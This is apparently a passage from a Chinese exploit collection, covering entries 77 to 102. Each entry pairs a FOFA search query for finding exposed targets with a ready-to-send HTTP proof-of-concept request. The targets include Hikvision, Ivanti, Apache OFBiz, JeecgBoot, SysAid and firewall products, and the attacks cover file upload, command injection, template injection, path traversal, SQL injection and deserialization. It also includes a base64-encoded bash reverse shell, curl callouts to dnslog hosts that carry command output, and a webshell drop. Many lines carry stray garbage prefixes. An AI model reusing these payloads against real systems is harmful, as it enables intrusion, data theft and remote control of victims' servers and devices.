Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
( p2 Z) W* A; l- K4 ]2 dUpgrade-Insecure-Requests: 1

{
"command": "GetFZinfo",
9 N' B; V1 k) A1 ^4 H) {' c  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
* F. \1 p- m! H" n  c  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
9 _4 Z/ ]" N: \9 X- Y& D6 n- _}

9 s3 `, u* @" s+ T& p2 u& w- ?) j
# a2 Z0 t) d  H8 Z# uGET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
/ y8 i4 J1 l9 Z# L; j. GHost: x.x.x.x

' I# `9 |1 a, K0 v
  y$ R* x5 A6 c1 @. U: }' t
; o, ?* n* C% v2 x2 E+ I; l77. F22服装管理软件系统UploadHandler.ashx任意文件上传
7 G4 g1 u+ w2 Q8 a6 sFOFA：body="F22WEB登陆"
POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
% V( a8 Z, A3 U; P3 l  sConnection: close
7 o0 T5 W# m* a: }6 @8 r/ ]$ f3 s9 dContent-Length: 433
Accept: */*
Accept-Encoding: gzip, deflate
, ~1 `, T/ Q1 C4 V+ cAccept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix
! J  H5 ^0 P2 \
------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="folder"
7 o2 v) ^6 D& m5 U  u) q
/upload/udplog
------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
Content-Type: application/octet-stream

& x% Y8 U7 \' D% qhello1234567
------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Upload"
* _5 {' R% O2 G: H7 ]& g# E0 q! y
/ S( M% l6 `. iSubmit Query
------------398jnjVTTlDVXHlE7yYnfwBoix--


78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
2 \% d& @: [( k( {FOFA：icon_hash="2001627082"
POST /Platform/System/FileUpload.ashx HTTP/1.1
( [( f& I! L7 H  fHost: x.x.x.x
: b! h( A( V! j4 |# MUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 336
Accept-Encoding: gzip
+ P; O5 l+ \/ r  aContent-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l
/ Y8 o7 e. N' `/ K4 Q( m. m
------YsOxWxSvj1KyZow1PTsh98fdu6l
' M; w, b: b7 ^5 d0 \Content-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
1 y: G$ f5 Y. J  m4 q8 b# q. mContent-Type: image/png
& _$ p  N0 V$ N, y) f  n5 z
YsOxWxSvj1KyZow1PTsh98fdu6l
, f* R. b0 k* j) y------YsOxWxSvj1KyZow1PTsh98fdu6l
; q4 e/ F; P# w0 R* {Content-Disposition: form-data; name="target"

7 E( B# f6 _! Q3 |/ E# ^/Applications/SkillDevelopAndEHS/
0 Y1 C) X# D$ q' R8 N. J------YsOxWxSvj1KyZow1PTsh98fdu6l--

* x0 U. t3 {$ u9 e, S3 a9 ]
: t* c: t% |' M$ p; t  RGET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
Host: x.x.x.x


  i) f$ _0 R+ {# m: t  W( t79. BYTEVALUE 百为流控路由器远程命令执行
FOFA：BYTEVALUE 智能流控路由器
, D; J& ~6 o* P- jGET /goform/webRead/open/?path=|id HTTP/1.1
5 B6 I$ x3 P+ X) ?+ JHost:IP
0 s$ T) c+ q- i' `# E: bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
' g. C/ L) q8 MAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
( I2 Y; v% B' sAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
9 W2 |5 L" f5 N8 A# nConnection: close
; M6 m, e% A6 B8 E# T& qUpgrade-Insecure-Requests: 1
0 }0 L6 u1 Y, p$ p: S. r  h( N" R; h
% x& Y* X5 a- p, K! M9 j# S9 U5 c
$ _" E- F* B1 w& J2 z2 I80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
2 a/ h. R# ~7 E; y  J+ \FOFA：app="速达软件-公司产品"
POST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
" i$ P0 {  m0 e! n/ lContent-Length: 27
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
# ^0 k3 \  p: j& MAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/octet-stream
Upgrade-Insecure-Requests: 1
6 x- t& l5 L" B+ R% r) ~) F
<% out.print("oessqeonylzaf");%>
! R/ S3 Q0 D# B" k/ X3 c

GET /xykqmfxpoas.jsp HTTP/1.1
( ]) E4 j2 U5 z' jHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
! ?. D8 A. K& ]: `. l  f) T! bConnection: close
Accept-Encoding: gzip

; N2 Y" d7 s& p
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
FOFA：app="uniview-视频监控"
( W) ~: o5 M# KGET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
Host: x.x.x.x
9 z# O2 j7 F" c- J. P: D" @User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
, s+ O9 U' M- _+ e% _0 vConnection: close
Accept-Encoding: gzip
4 L3 C& X, k" X7 c0 G$ a) q
( r6 j/ w8 \' l9 T3 t
4 R+ K6 F4 d$ k& s7 S' T82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
FOFA：app="思福迪-LOGBASE"
POST /bhost/test_qrcode_b HTTP/1.1
Host: BaseURL
User-Agent: Go-http-client/1.1
Content-Length: 23
' f1 B/ N5 K  ^" @0 aAccept-Encoding: gzip
Connection: close
Content-Type: application/x-www-form-urlencoded
Referer: BaseURL
0 C1 \( ]1 u" z) l8 f9 M2 P4 q+ W
  b8 _2 }7 E4 Wz1=1&z2="|id;"&z3=bhost
. Y. d* t0 E0 B7 K) e$ [4 |$ M
( o0 \5 K3 L! z: K9 v$ n+ E5 x- M
4 c  C* b9 x% f5 G8 {" w83. JeecgBoot testConnection 远程命令执行
7 s6 S- U9 d% RFOFA：title=="JeecgBoot 企业级低代码平台"
  {+ U1 M% i% Z$ E" b  @

POST /jmreport/testConnection HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
" o5 x. o" N0 U6 G7 b1 m8 h& A; ?Content-Length: 8881
! [* [! O/ o$ _4 W) }5 W& vAccept-Encoding: gzip
Cmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
Content-Type: application/json

1 f3 x! H4 e& @5 e0 x: tPAYLOAD
# F5 {- `# i# B  R- l: `$ t9 ?
" i$ ^9 X" _4 r$ T4 [/ B) }84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
- Y- W0 {) z  S5 `: Z$ W' CFOFA：title=="JeecgBoot 企业级低代码平台"

! [1 `/ n( ?5 S8 G3 X) e
: k% X1 l0 I3 ^2 _/ a. X9 D
POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
; w8 L! }, K& q8 y* w* [Host: 192.168.40.130:8080
( Q, M4 A+ L+ w! D  [! L  lUser-Agent: curl/7.88.1
. s3 X! |6 @. ~3 ]/ N( {Content-Length: 156
Accept: */*
4 m6 ~6 ?' S3 H  t& k* YConnection: close
Content-Type: application/json
' o" p5 b" s$ ^6 Q' k) |Accept-Encoding: gzip
+ a4 p0 p- l- M' n4 c
& W8 Z% G6 w$ M9 d+ l" R8 l+ e, E  S- c0 W{
" P" n8 H4 g, S "sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
+ p; N$ a) x, u/ M5 ]! c: W  "type": "0"
5 f: x7 _+ Y3 \5 \3 M- [6 \. O}

/ v. G# E7 O: f8 N7 ^
85. SysAid On-premise< 23.3.36远程代码执行
CVE-2023-47246
FOFA：body="sysaid-logo-dark-green.png"
5 I* F5 \" w5 `& j1 g! U5 \4 X6 FEXP数据包如下，注入哥斯拉马
# p& ~# U, g; D4 g5 L  _4 o! j4 B) dPOST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
7 v& V+ E2 y3 Y; I/ v8 U* z+ m# MHost: x.x.x.x
8 q' p4 a/ b4 T- DUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
: J1 t# n2 b9 }) [' qContent-Type: application/octet-stream
Accept-Encoding: gzip

! r  ~/ M! Z- H0 T; s8 ^: VPAYLOAD
- t, ~7 H- B' Z' x6 f, F3 ~2 l( |7 ]/ R
9 M+ B( ?2 H9 ]0 Y$ p' _回显URL：http://x.x.x.x/userfiles/index.jsp

8 B. m( C1 h) N  j- c# T86. 日本tosei自助洗衣机RCE
FOFA：body="tosei_login_check.php"
POST /cgi-bin/network_test.php HTTP/1.1
, A0 N3 r; d2 P- Y: M0 cHost: x.x.x.x
; k% y4 C  ?. Z' ?) N! jUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
Content-Length: 44
0 j3 c" u* x/ b& xAccept: */*
Accept-Encoding: gzip
6 Q2 i  G- e; A- D7 s: i$ EAccept-Language: en
4 c* u/ `. R/ A4 A& K+ S6 \Content-Type: application/x-www-form-urlencoded

host=%0acat${IFS}/etc/passwd%0a&command=ping
  e5 F7 N" r3 i, l5 h0 K
5 M1 |' X3 l! }3 A) M8 S
87. 安恒明御安全网关aaa_local_web_preview文件上传
FOFA：title="明御安全网关"
POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
' j+ a1 q4 l* i; U. ?. ^) VHost: X.X.X.X
6 V/ m. e  Y4 k5 EUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 198
3 M. M8 f: ]* |* _1 yAccept-Encoding: gzip
Content-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd
  l2 K, h3 N, E+ i  c
--qqobiandqgawlxodfiisporjwravxtvd
Content-Disposition: form-data; name="123"; filename="9B9Ccd.php"
Content-Type: text/plain
9 E/ C( E7 R" O) A6 L8 G
  }/ \* C& K9 Z6 f2 p2 `$ @2ZqGNnsjzzU2GBBPyd8AIA7QlDq
2 E, s: |! l+ A2 n, f4 g% |; y--qqobiandqgawlxodfiisporjwravxtvd--


5 v/ p; c; n7 p1 G3 V/jfhatuwe.php

) u2 n8 T7 Y6 W1 b5 g+ {5 D88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
FOFA：title="明御安全网关"
GET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
/ [+ k" s! c* `0 X7 ~Connection: close
# Y- s# f3 d+ P# p8 B- Y
: N* l' f" w& ]) P2 [; l
/astdfkhl.php
9 _& V% ^# v% B  h+ N* F
89. 致远互联FE协作办公平台editflow_manager存在sql注入
6 h+ [5 d9 ]( A0 I, LFOFA：title="FE协作办公平台" || body="li_plugins_download"
2 l3 s! L" x2 _9 g. pPOST /sysform/003/editflow_manager.js%70 HTTP/1.1
7 l" O" K+ K4 m/ S' B: H" AHost: x.x.x.x
: N! R* v1 b& b, N# ^! ?! w/ }User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
7 l1 ]6 y. k  g/ jContent-Length: 41
Content-Type: application/x-www-form-urlencoded
& h' ~" ^8 q2 c. `0 PAccept-Encoding: gzip
4 n! A1 C  [: `: W) M3 D
option=2&GUID=-1'+union+select+111*222--+


90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
FOFA：icon_hash="-1830859634"
* U, @3 i5 X6 WPOST /php/ping.php HTTP/1.1
, A( M( t" p4 R! ~2 U, {: X. nHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Length: 51
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest

jsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig


- H$ I" Z+ ~7 \& n6 Y* Z91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
8 D8 a; E. V/ A' O+ x5 ZFOFA：title="综合安防管理平台"
GET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
2 n& l, f! J, }% q3 r' ZHost: your-ip
- M, a$ p0 k' Y* ]8 K$ TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept-Encoding: gzip, deflate
5 N1 W5 I8 T: CAccept: */*
# p, ~/ u( R/ ^. Q8 U" i: b; iConnection: keep-alive

/ G& i7 a3 M) t  y+ c/ n
8 R0 G# P# u# U6 g( }" ?
) t8 W, J- X" N" n3 |92. 海康威视运行管理中心session命令执行
Fastjson命令执行
hunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
POST /center/api/session HTTP/1.1
Host:
Accept: application/json, text/plain, */*
' Y+ F4 g) U7 o+ W* ]Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/json;charset=UTF-8
X-Language-Type: zh_CN
' j1 \7 ?  o+ x+ j8 Y" F5 l! nTestcmd: echo test
, w  I+ D9 U& K, hUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 5778

PAYLOAD


93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
1 B+ `" ~+ B% A" s# C: x& APOST /?g=app_av_import_save HTTP/1.1
Host: x.x.x.x
) F. D  C! d# TContent-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
7 M; N- v  W( b, f0 D* P5 xUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
+ s( ]7 |' y; q) e------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
Content-Type: text/plain

: b( m, L" {5 a. G/ kwagletqrkwrddkthtulxsqrphulnknxa
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="submit_post"

obj_app_upfile
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="__hash__"

; m: T- R- E: s( y% m3 S3 ?0b9d6b1ab7479ab69d9f71b05e0e9445
. M/ S* R+ i$ z9 d" e------WebKitFormBoundarykcbkgdfx--
6 S6 m2 F# m; |& N$ G
& v3 ]4 T! t" a9 Z' a  \- i
GET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
, H4 t' ]; g# iUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
. Q1 E8 m! c' I/ p6 n% }1 U
# F' C0 h2 ]& N( }
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
: U" `9 u; a9 g; I# jFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=obj_area_import_save HTTP/1.1
Host: x.x.x.x
3 _; Y' W. q) \; u3 qContent-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
& g0 X- f# w2 v9 ~- x
------WebKitFormBoundarybqvzqvmt
) u6 H& t/ a# U' d& d; ~6 uContent-Disposition: form-data; name="MAX_FILE_SIZE"

) w1 @4 S6 \! d2 r6 w4 ]3 ^10000000
3 i2 b( {2 }* ^( i, ^: F------WebKitFormBoundarybqvzqvmt
6 N6 S  T! O+ J1 W9 QContent-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
Content-Type: text/plain

pxplitttsrjnyoafavcajwkvhxindhmu
' U& e- X) S  g5 I6 n$ i6 p------WebKitFormBoundarybqvzqvmt
, j; E5 z8 \* ?4 nContent-Disposition: form-data; name="submit_post"
& q: }5 @/ J  }( V7 ?
obj_app_upfile
# \" @: N7 A* T$ x" I: U) \" b( S& G------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="__hash__"
3 g* |5 b* S  ]/ C- E4 ?4 }2 s; ?
0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarybqvzqvmt--

" k8 f! f' L: Z- ]
9 V3 e9 I* a! s" g" i7 m* w
GET /attachements/xlskxknxa.txt HTTP/1.1
$ I8 e2 N. z) Y: y- ~. `6 x- ^Host: xx.xx.xx.xx
% u* X6 z" f+ V- }User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
" i4 @: K# `$ D; w  B


95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
CVE-2023-49070
FOFA：app="Apache_OFBiz"
1 `1 R  J& d5 a6 N3 o3 zPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
- N' F1 P7 W$ h/ _6 `) zHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
, w" L% D1 R% z6 O' W4 E+ HConnection: close
* ~: m) }- c; d' fContent-Length: 889
Content-Type: application/xml
  m6 r* ?. Z5 H) E7 m: pAccept-Encoding: gzip

<?xml version="1.0"?>
<methodCall>
   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
    <params>
      <param>
      <value>
        <struct>
5 x" {2 s6 t6 S. [6 h6 \& O1 F       <member>
          <name>test</name>
          <value>
      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
          </value>
        </member>
) o* r9 {8 m4 @      </struct>
      </value>
+ b$ V3 j: c  J    </param>
! A# Y$ f8 ?& x( Z    </params>
6 L- [$ S/ q% D</methodCall>


9 ^2 I) h4 ?- t% z- u( U用ysoserial生成payload
java -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"
; m' T, q. m. @3 K2 p

3 t8 s- ?; O! [% U) l) T* m将生成的payload替换到上面的POC
8 q4 i5 o+ k- n1 U+ `POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
' N5 \+ {) t2 T, q& O! EHost: 192.168.40.130:8443
  v; i( q% ]) I5 BUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
3 p6 [2 U: I& f  z+ [. u- \9 N' Z! LConnection: close
$ Q# c( i" K$ ]2 @2 r4 @Content-Length: 889
+ y  n. _* i- I9 s( N  KContent-Type: application/xml
, l. z0 B$ t' s' TAccept-Encoding: gzip

# c& D$ ?$ n& ~9 ^( V; W$ APAYLOAD

& U- C9 M7 C* i3 \1 r7 O: U96. Apache OFBiz  18.12.11 groovy 远程代码执行
FOFA：app="Apache_OFBiz"
4 u( [0 R. B3 J& k) e8 _. F/ A1 @* gPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
7 x' M5 W& ?. s9 I, X5 m' IHost: localhost:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
7 M! }7 y" r9 Q8 T+ ]5 uAccept: */*
- S) t8 Y2 _6 I* H! B4 iAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
% T* H0 V% x2 l9 P& u$ y' \) FContent-Length: 55

! S- N2 M+ W, zgroovyProgram=throw+new+Exception('id'.execute().text);

- }3 P& g3 B& _" t! }; J, L# |
反弹shell
, R; z2 X" h- z8 U% K7 [2 b在kali上启动一个监听
" O; V* D  l+ G: ]' |nc -lvp 7777
6 ~" E  q* z$ f# ^$ A) e# |8 Z
  Y) M; F: X0 P5 B* C+ S& k1 HPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
9 t6 V0 ~! H5 c  ]  MHost: 192.168.40.130:8443
2 P" e$ j8 [: _3 h. ~* H, g! JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
$ f$ t/ u2 {# A+ H7 L0 }Accept: */*
% R& m% b7 }9 r( v% ^: UAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
8 f- ?& |& M! S" F. J7 |! e% Z# e4 `8 U
4 `$ t/ G) l8 }) t% H; O0 R' D: AgroovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();
3 n% A5 J+ T, o: f( n
4 G8 R+ v; m4 Z4 P97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
FOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
; V: D& X( A) W/ r3 o9 mGET /passport/login/ HTTP/1.1
) a7 K' o: f$ D* [! _Host: 192.168.40.130:8085
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
& a0 e, f' \& g* C$ X, F: C. I% dAccept-Encoding: gzip
2 [2 \2 b! v2 b9 MConnection: close
3 N  D. L% |+ L1 p" n% `Cookie: rememberMe=PAYLOAD
X-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"


98. SpiderFlow爬虫平台远程命令执行
CVE-2024-0195
FOFA：app="SpiderFlow"
POST /function/save HTTP/1.1
2 t" ^1 Y/ `( K8 Q  F* T5 xHost: 192.168.40.130:8088
& [% D' e7 ^, QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 121
Accept: */*
Accept-Encoding: gzip, deflate
2 w* L) V- E. Q% w: bAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 F* z% M: V" s$ W, F4 [$ u  T5 iContent-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
+ q5 w+ K% `4 g
8 b2 R4 H4 u+ R$ R4 G7 did=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B
3 {1 J9 \* ]7 I; p4 X# J1 R

99. Ncast盈可视高清智能录播系统busiFacade RCE
CVE-2024-0305
FOFA：app="Ncast-产品" && title=="高清智能录播系统"
POST /classes/common/busiFacade.php HTTP/1.1
) V. C% Z; |) l) I6 y9 L& @  ?Host: 192.168.40.130:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
. B' Q# _% {4 GContent-Length: 154
Accept: */*
0 l. @  P) p( ?: L/ WAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

* G$ ~3 L4 R- y1 A%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D
* M5 h4 r8 l! h- n" h- f  J

100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
CVE-2024-0352
FOFA：icon_hash="874152924"
POST /api/file/formimage HTTP/1.1
Host: 192.168.40.130
' |- `9 s2 `6 V4 b1 I* Q4 z* k  oUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Content-Length: 201
+ N0 r' _  e2 I+ i. ]Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
" R9 N/ M6 h: RAccept-Encoding: gzip

% X( c/ j0 |5 ~. h------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="file";filename="IE4MGP.php"
& Y6 I: V, S6 i# w  VContent-Type: application/x-php

2ayyhRXiAsKXL8olvF5s4qqyI2O
------WebKitFormBoundarygcflwtei--
3 m% O6 |" q: g1 p

101. ivanti policy secure-22.6命令注入
CVE-2024-21887
/ T$ e5 `& p3 X% @: R( [5 X6 b, pFOFA：body="welcome.cgi?p=logo"
% i; ?  F$ e2 l# I. \% k/ f% OGET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
3 A% T% _- g3 n9 h- aConnection: close
Accept-Encoding: gzip

% y+ U# \4 `9 ^6 N+ Y  |
- H$ G, Z; _, N: s6 x# i102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
; X6 D7 E, W0 f* u- B  O+ g$ @( z; ACVE-2024-21893
" w& B# y4 n4 P" U" u& k+ YFOFA：body="welcome.cgi?p=logo"
POST /dana-ws/saml20.ws HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
  c! t/ N1 W8 b- lContent-Length: 792
Accept-Encoding: gzip
$ L+ m; ]! z0 C) d
